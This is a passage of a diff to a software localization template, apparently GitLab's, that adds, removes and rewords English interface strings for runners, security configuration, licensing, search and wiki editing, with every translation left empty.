+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
